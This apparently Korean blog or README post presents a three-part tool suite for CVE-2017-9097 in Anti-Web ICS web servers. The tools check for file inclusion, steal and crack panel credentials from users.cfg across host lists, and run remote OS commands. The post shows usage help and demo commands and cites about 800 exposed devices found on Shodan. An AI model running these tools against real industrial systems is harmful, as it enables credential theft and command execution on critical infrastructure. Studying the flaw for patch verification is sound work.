
CVE-2017-9097(+RCE)를 활용하는 도구 모음
ICS/OT와 관련된 웹 애플리케이션에서 Anti-Web 서버(버전 3.8.7까지)에서 발견된 취약점입니다. 식별된 취약점은 산업 공정 자동화 및 통신 분야의 여러 유명 제조업체에 영향을 미칩니다. 이들 장치는 이전에 비슷한 두 개의 오래된 CVE(CVE-2010-4730 및 CVE-2010-4733)를 이미 보유하고 있었으며, 보고 후 세 번째 CVE(2017-9097)가 추가되었고 공급업체는 즉시 패치를 출시했습니다. 이후 다른 패치도 빠르게 이어졌습니다.
이러한 장치의 노출 정도를 대략적으로 파악하기 위해 Shodan에 인덱싱된 호스트를 활용했으며, 잠재적으로 취약한 장치는 800개가 약간 넘습니다.

우리 도구가 악용하려는 LFI와 관련하여, 현재 영향을 받은 여러 공급업체는 취약점을 해결하는 공식 패치를 보유하고 있습니다. 따라서 취약점을 악용하려는 시도는 이러한 기술의 운영자와 책임자의 약속 여부를 확인하는 데 도움이 되며, 근본적인 질문에 답합니다. "해당 패치가 설치되었는가?"
첫 번째 도구는 LFI 존재 여부를 악용하고 확인하는 것을 목표로 합니다. 두 번째 도구는 LFI를 활용하여 웹 패널에 접근할 수 있는 자격 증명이 저장된 파일을 가져오려고 시도합니다. 여기서 사용자 이름은 평문으로, 비밀번호는 md5로 해시된 상태이며 도구가 이를 크랙하려고 시도합니다. 마지막으로 RCE를 악용하는 최종 도구가 있습니다.
usr@pwn:~$ git clone https://github.com/ezelf/AntiWeb_testing-Suite
usr@pwn:~$ cd AntiWeb_testing-Suite
usr@pwn:~$ ls -l
total 16
drwxr-xr-x 4 root root 4096 sep 14 21:05 LFI
drwxr-xr-x 4 root root 4096 sep 14 21:05 RCE
-rwxrwxr-x 1 root root 1852 sep 24 08:42 README.md
drwxr-xr-x 3 root root 4096 sep 24 08:00 seekAndDestroy
미리 정의된 경로를 쿼리하거나 사용자가 자체 경로를 전달할 수 있도록 하여 LFI의 존재를 확인합니다.
선택적으로 유효한 세션 쿠키를 전달할 수 있습니다.
usr@pwn:~$ python anti-web-v1.py --help
usage: anti-web.py [-h] [-v] --host HOST [--port PORT] [--file LFI]
[+] CVE: CVE-2017-9097
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--port PORT Set port (default = 80)
--file LFI Test LFI
-ck COOKIE Set Cookie
[+] Demo: anti-web.py --host 192.168.1.100 --port 80

이 도구는 LFI를 유용하게 활용하는 것을 목표로 합니다. 이를 위해 웹 애플리케이션에 대한 접근을 허용하는 자격 증명이 저장된 "/home/config/users.cfg" 파일을 대상으로 합니다.

"Seek And Destroy"는 이 파일을 파싱하여 비밀번호와 사용자 이름을 연결한 후 Md5 해시 함수에 적용한 해시를 식별합니다. 미리 계산된 목록을 사용하여 이러한 해시 뒤에 숨겨진 내용을 점차 발견합니다.

단일 호스트 또는 호스트 목록을 개별적으로 공격할 수 있습니다.
usr@pwn:~$ python seekAndDestroy.py --help
usage: seekAndDestroy.py [-h] [-v] [--host HOST] [--list HOST_LIST]
[--port PORT]
[+] Obtain and break the credentials of your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--list HOST_LIST hosts
--port PORT set port (default = 80)
[+] Usage: seelAndDestroy.py --list host_list.txt --port 8080
그리고 가장 흥미로운 부분에 도달했습니다. 취약한 시스템을 지원하는 하드웨어의 운영 체제 명령을 실행할 수 있는 가능성입니다. *** "HTTP에서 셸로" ***
.

#### 계속... (내일은 월요일입니다. xd)
usr@pwn:~$ python rce.py --help
usage: RCE.py [-h] [-v] --host HOST [--port PORT] -ck COOKIE --cmd COMMAND
[+] COMMANDS over your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST Host
--port PORT Port
-ck COOKIE Cookie
--cmd COMMAND Command
[+] Demo: python rce.py --host <host> -ck <sessionCookie> --cmd "ls -la /"
....Wait
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9097
* https://ics-cert.us-cert.gov/advisories/ICSA-17-222-05
* https://www.seebug.org/vuldb/ssvid-96555 (RCE)
* https://www.seebug.org/vuldb/ssvid-96556 (LFI)
* https://vuldb.com/es/?id.102570
* https://github.com/hoytech/antiweb/
* https://nvd.nist.gov/vuln/detail/CVE-2017-9097
* https://www.9165619.com/vulnerability/cve-2017-9097-89702
* http://old.cnnvd.org.cn/vulnerability/show/cv_id/2017051027
* http://jvndb.jvn.jp/ja/contents/2017/JVNDB-2017-005240.html
* http://plugins.openvas.org/nasl.php?oid=106886 (*down)
* http://webcache.googleusercontent.com/search?q=cache:Z1VaYjaZLB4J:plugins.openvas.org/nasl.php%3Foid%3D106886+&cd=1&hl=es-419&ct=clnk&gl=cl
''' [+] CVE-2009-4462 ( Intellicom NetBiterConfig.exe ) [+] CVE-2009-4463 ( Intellicom NetBiterConfig.exe ) (http://blog.48bits.com/exposing-hms-hicp-protocol-0day-light/)
[+] CVE-2010-4730 ( Directory traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4731 ( Absolute path traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4732 ( RCE, using a config.html 2.conf action to replace the logo page's GIF image file )
[+] CVE-2010-4733 ( default username and password to obtain superadmin access via the web interface )
Intellicom NetBiter products based on the NB100 and NB200 platforms, including:
WebSCADA (WS100)
WebSCADA (WS200)
Easy Connect (EC150)
Modbus RTU – TCP Gateway (MB100)
Serial Ethernet Server (SS100).
* https://ics-cert.us-cert.gov/advisories/ICSA-10-316-01A
'''
해당 도구는 (AntiWeb_testing-Suite)에 있습니다: https://github.com/ezelf/AntiWeb_testing-Suite/
세 가지 도구를 첫 번째 베타 버전에서 결합한 동영상: https://www.youtube.com/watch?v=HdkZA1DO08Y